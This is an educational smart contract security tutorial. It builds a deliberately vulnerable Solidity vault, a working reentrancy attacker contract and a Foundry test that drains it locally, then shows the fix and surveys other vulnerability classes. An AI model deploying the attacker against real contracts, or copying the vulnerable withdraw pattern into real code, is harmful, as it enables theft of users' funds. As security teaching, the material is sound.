Smart Contract Security: How On-Chain Funds Actually Get Drained
Smart contracts are unusual software. The code is public, the money is inside it, anyone can call it, and you often cannot patch it. Attackers get unlimited attempts against a target that cannot move.
So the vulnerability classes are narrow and well documented, and protocols keep losing money to them. Below, you'll build a vulnerable vault and drain it yourself.
1. Reentrancy
When a contract makes an external call, it hands control to that address. If the recipient is a contract, it can call straight back in before the first function has finished updating state.
// vulnerable
function withdraw() external {
uint256 amount = balances[msg.sender];
require(amount > 0, "no balance");
(bool ok, ) = msg.sender.call{value: amount}("");
require(ok, "transfer failed");
balances[msg.sender] = 0; // too late
}The balance is zeroed after the transfer. A malicious contract's receive() calls withdraw() again while its recorded balance is still the original figure.
Build it and break it
Install Foundry and set up a project:
$ curl -L https://foundry.paradigm.xyz | bash
$ foundryup
$ forge init reentrancy-lab
$ cd reentrancy-labPut this in src/Vault.sol:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
contract Vault {
mapping(address => uint256) public balances;
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw() external {
uint256 amount = balances[msg.sender];
require(amount > 0, "no balance");
(bool ok, ) = msg.sender.call{value: amount}("");
require(ok, "transfer failed");
balances[msg.sender] = 0;
}
}
contract Attacker {
Vault public vault;
constructor(Vault _vault) {
vault = _vault;
}
function attack() external payable {
vault.deposit{value: msg.value}();
vault.withdraw();
}
receive() external payable {
if (address(vault).balance >= 1 ether) {
vault.withdraw();
}
}
}And this in test/Vault.t.sol:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "forge-std/Test.sol";
import "../src/Vault.sol";
contract VaultTest is Test {
Vault vault;
function setUp() public {
vault = new Vault();
address alice = makeAddr("alice");
vm.deal(alice, 5 ether);
vm.prank(alice);
vault.deposit{value: 5 ether}();
}
function testDrain() public {
Attacker attacker = new Attacker(vault);
vm.deal(address(attacker), 1 ether);
assertEq(address(vault).balance, 5 ether);
attacker.attack{value: 1 ether}();
assertEq(address(vault).balance, 0);
assertEq(address(attacker).balance, 6 ether);
}
}$ forge test -vvvThe attacker deposits 1 ETH and leaves with 6. Alice's 5 ETH is gone, and no arithmetic was broken — the contract did exactly what it was written to do.
The fix
Ordering, not cleverness. Checks, effects, interactions — validate, update your own state, then talk to the outside world:
function withdraw() external {
uint256 amount = balances[msg.sender];
require(amount > 0, "no balance");
balances[msg.sender] = 0; // effect first
(bool ok, ) = msg.sender.call{value: amount}("");
require(ok, "transfer failed");
}Change that one line and run the test again. It fails at the second withdraw, because the balance is already zero.
A reentrancy guard works too, but it's a seatbelt. Correct ordering is the safer default, and guards don't protect against cross-function reentrancy on shared state.
2. Access control
Less glamorous, extremely common. A privileged function ships without a modifier; an upgradeable contract's initializer can be called by anyone; ownership transfers in one step and a typo'd address bricks the protocol permanently.
When reading a contract, list every state-changing external function and ask who may call it. Anything that moves funds, changes an address, or pauses the system should have an obvious answer:
$ grep -nE "function .*(external|public)" src/*.sol3. Unchecked returns and non-standard tokens
ERC-20 is a specification many deployed tokens don't quite follow. Some return no boolean on transfer, some return false rather than reverting, some take a fee so the amount received is less than the amount sent.
Assuming a transfer succeeded because it didn't revert is how protocols credit deposits that never arrived. Use OpenZeppelin's SafeERC20, and if you accept arbitrary tokens, measure the balance before and after rather than trusting the input.
4. Oracle manipulation
If a contract reads price from an AMM pool's current reserves, that price is whatever the last trade made it. With a flash loan an attacker moves the pool, calls your contract while it reads the distorted price, and unwinds — one transaction, no capital at risk.
Spot price from a single pool is not an oracle. Time-weighted averages raise the cost of manipulation; established oracle networks move the problem to a party built to handle it.
5. Arithmetic, post-0.8
Since Solidity 0.8, arithmetic reverts on overflow by default, and much of the writing on this topic predates that. Overflow is largely solved. What isn't:
unchecked blocks — used for gas savings, and the old rules apply inside them.
Downcasting — uint256 to uint128 truncates silently.
Division order — integer division truncates, so dividing before multiplying loses precision. Multiply first.
Decimal assumptions — not every token has 18 decimals. USDC has 6.
6. Proxies and storage collisions
Upgradeable contracts run implementation logic in the proxy's storage via delegatecall. If layouts don't match, writes land on the wrong slot — reorder a variable during an upgrade and a balance can overwrite the owner address.
Hence storage gaps and namespaced slots, and why an upgrade diff deserves as much scrutiny as the original deployment.
Your exercise
Run the drain test above until it passes.
Apply the checks-effects-interactions fix and confirm it now fails.
Add a second attacker that reenters only twice. Does partial reentrancy still profit?
Work through the first five Ethernaut levels. Fallback and Fal1out take minutes; Token and Delegation teach more than they look like they will.
Where to go next
Ethernaut — short puzzles, one vulnerability class each. Start here.
Damn Vulnerable DeFi — realistic protocol-scale challenges. Considerably harder.
Solidity security considerations — the primary source. Read it end to end.
The Foundry Book — the tooling most auditors actually use.
Curious how this applies beyond the contract itself? Your Contract Is Audited. What About Everything Around It? covers the off-chain surface most protocols forget.
Run this on your own machine or a lab you're authorised to use. Every command here is safe against systems you control. Pointing the same tools at infrastructure you don't own is a criminal offence in most countries, including under the US Computer Fraud and Abuse Act. The practice labs linked above exist so you can do this legally.
Comments